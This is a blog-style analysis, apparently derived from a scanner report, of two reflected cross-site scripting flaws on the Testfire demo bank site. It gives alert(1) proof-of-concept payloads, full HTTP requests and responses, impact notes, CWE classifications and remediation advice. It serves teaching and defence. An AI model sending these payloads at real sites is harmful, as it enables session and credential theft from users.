Reflected XSS Vulnerabilities On Testfire: A Detailed Analysis

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Reflected XSS Vulnerabilities on Testfire: A Detailed Analysis

Hey everyone! Today, we're diving deep into a couple of critical security vulnerabilities found on the Testfire website. Specifically, we'll be looking at reflected cross-site scripting (XSS) issues in two different areas: customize.jsp and queryxpath.jsp. Let's break down what these vulnerabilities are, how they work, and what can be done to fix them. Understanding these issues is super important for keeping web applications secure, so let's get started!

Cross-Site Scripting (Reflected) - https://demo.testfire.net/bank/customize.jsp

Understanding the Vulnerability

This cross-site scripting vulnerability is a reflected one, meaning the malicious script is injected through a request and immediately reflected back in the response. In this specific case, the lang request parameter in the customize.jsp page is vulnerable. The value provided for the lang parameter is copied directly into the HTML document without proper sanitization. This allows attackers to inject arbitrary JavaScript code into the application's response.

Imagine this: an attacker crafts a special URL containing malicious JavaScript. When a user clicks on this link, the script executes in their browser, acting as if it's part of the website. This is bad news because the attacker can then steal session tokens, login credentials, or even perform actions on the user's behalf. Reflected XSS is particularly nasty because it doesn't require the attacker to store the malicious script on the server; it's all done in real-time.

The specific payload used to demonstrate this vulnerability was dlf8h<script>alert(1)</script>ei1jm. This payload, when submitted through the lang parameter, was echoed unmodified in the application's response. The alert(1) part is a simple JavaScript command that creates a popup box in the browser. While harmless in this example, it proves that arbitrary JavaScript can be executed. In a real-world attack, the payload would be far more malicious.

The Impact of XSS

The impact of a cross-site scripting vulnerability can be significant. An attacker could:

  • Steal Session Tokens: Gaining access to a user's session allows the attacker to impersonate them.
  • Capture Login Credentials: Imagine a fake login form injected into the page, capturing usernames and passwords.
  • Perform Arbitrary Actions: An attacker could change user settings, make unauthorized purchases, or even deface the website.
  • Log Keystrokes: By injecting a keylogger, an attacker could record everything a user types on the page, including sensitive information.

Remediation Strategies

To prevent reflected XSS vulnerabilities, there are two primary lines of defense:

  1. Input Validation:

    • Strictly validate all user inputs. For example, names should only contain letters and a limited set of special characters, and email addresses should match a well-defined regular expression.
    • Reject any input that fails validation instead of trying to sanitize it. Sanitization can be tricky and may not always be effective.

  2. Output Encoding:

    • HTML-encode any user input that is copied into application responses. This means replacing HTML metacharacters like <, >, ", ', and = with their corresponding HTML entities (&lt;, &gt;, &quot;, &apos;, &equals;).
    • If the application allows users to author content with a limited subset of HTML tags, parse the HTML to ensure it doesn't contain any dangerous syntax. This can be a complex task.

By implementing these measures, you can significantly reduce the risk of XSS attacks. Remember, it's always better to be proactive when it comes to security!

References

For more information on cross-site scripting and how to prevent it, check out these resources:

Vulnerability Classifications

This vulnerability falls under the following CWE (Common Weakness Enumeration) classifications:

  • CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
  • CWE-116: Improper Encoding or Escaping of Output
  • CWE-159: Failure to Sanitize Special Element
  • CAPEC-591: Reflected XSS

HTTP Request and Response

Here's the actual HTTP request and response that demonstrates the vulnerability:

Request:

GET /bank/customize.jsp?content=customize.jsp&lang=englishdlf8h%3cscript%3ealert(1)%3c%2fscript%3eei1jm HTTP/1.1
Host: demo.testfire.net
Cookie: JSESSIONID=3158E52150C3448293D0D05F878E20B6; AltoroAccounts=ODAwMDAwfkNvcnBvcmF0ZX41LjIzNDE2MDc2MUU3fDgwMDAwMX5DaGVja2luZ34yMDkyMDkuNDR8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: https://demo.testfire.net/bank/customize.jsp
Accept-Language: en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 0

Response:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 5820
Date: Wed, 11 May 2022 11:11:59 GMT
Connection: close

<!-- BEGIN HEADER -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1
...
<p> Current Language: englishdlf8h<script>alert(1)</script>ei1jm </p>
...

Cross-Site Scripting (Reflected) - https://demo.testfire.net/bank/queryxpath.jsp

Another XSS Spot

Just like the previous case, this is another reflected cross-site scripting vulnerability, but this time it's in the queryxpath.jsp page. The query request parameter is the culprit here. The value provided for the query parameter is copied directly into the value of an HTML tag attribute, encapsulated in double quotation marks, without proper encoding. This allows attackers to inject arbitrary JavaScript code into the application's response.

The injected payload was: n5m6i"><script>alert(1)</script>h2q9g. This payload breaks out of the HTML attribute and injects a <script> tag, which then executes the alert(1) JavaScript command. Again, this proves that an attacker can run arbitrary code in the user's browser.

Impact and Risks

The impact of this vulnerability is essentially the same as the previous one. An attacker can:

  • Steal session tokens
  • Capture login credentials
  • Perform arbitrary actions on the user's behalf
  • Log keystrokes

The ability to execute JavaScript in the context of the user's session opens the door to a wide range of malicious activities. It's crucial to address these vulnerabilities promptly to protect users and the application itself.

Remediation Techniques

The same remediation techniques apply here as well:

  1. Input Validation:

    • Validate the query parameter to ensure it contains only expected characters and formats.
    • Reject invalid input instead of trying to clean it up.

  2. Output Encoding:

    • HTML-encode the query parameter value before inserting it into the HTML attribute. This will prevent the browser from interpreting the injected JavaScript.

By implementing these two layers of defense, you can effectively mitigate the risk of reflected XSS in the queryxpath.jsp page.

References

Here are some resources you can use to learn more about XSS and how to prevent it:

Vulnerability Classifications

This vulnerability falls under the same CWE classifications as the previous one:

  • CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
  • CWE-116: Improper Encoding or Escaping of Output
  • CWE-159: Failure to Sanitize Special Element
  • CAPEC-591: Reflected XSS

HTTP Request and Response

Here's the HTTP request and response that demonstrates the vulnerability:

Request:

GET /bank/queryxpath.jsp?content=queryxpath.jsp&query=Enter%20title%20(e.g.%20Watchfire)n5m6i%22%3e%3cscript%3ealert(1)%3c%2fscript%3eh2q9g HTTP/1.1
Host: demo.testfire.net
Cookie: JSESSIONID=5B8AC38828EF66CA27B7E2A06819BA14; AltoroAccounts=ODAwMDAwfkNvcnBvcmF0ZX41LjIzNDE2MDc2MUU3fDgwMDAwMX5DaGVja2luZ34yMDkyMDkuNDR8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: https://demo.testfire.net/bank/queryxpath.jsp
Accept-Language: en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 0

Response:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 5893
Date: Wed, 11 May 2022 11:06:40 GMT
Connection: close

<!-- BEGIN HEADER -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1
...
<input type="text" id="query" name="query" width=450 value="Enter title (e.g. Watchfire)n5m6i"><script>alert(1)</script>h2q9g"/>
...

Conclusion

Alright guys, we've covered two reflected XSS vulnerabilities on the Testfire website. Remember, cross-site scripting can be a serious threat, so it's crucial to implement proper input validation and output encoding techniques. By staying vigilant and following security best practices, you can protect your web applications and keep your users safe. Keep learning, keep exploring, and keep building secure software!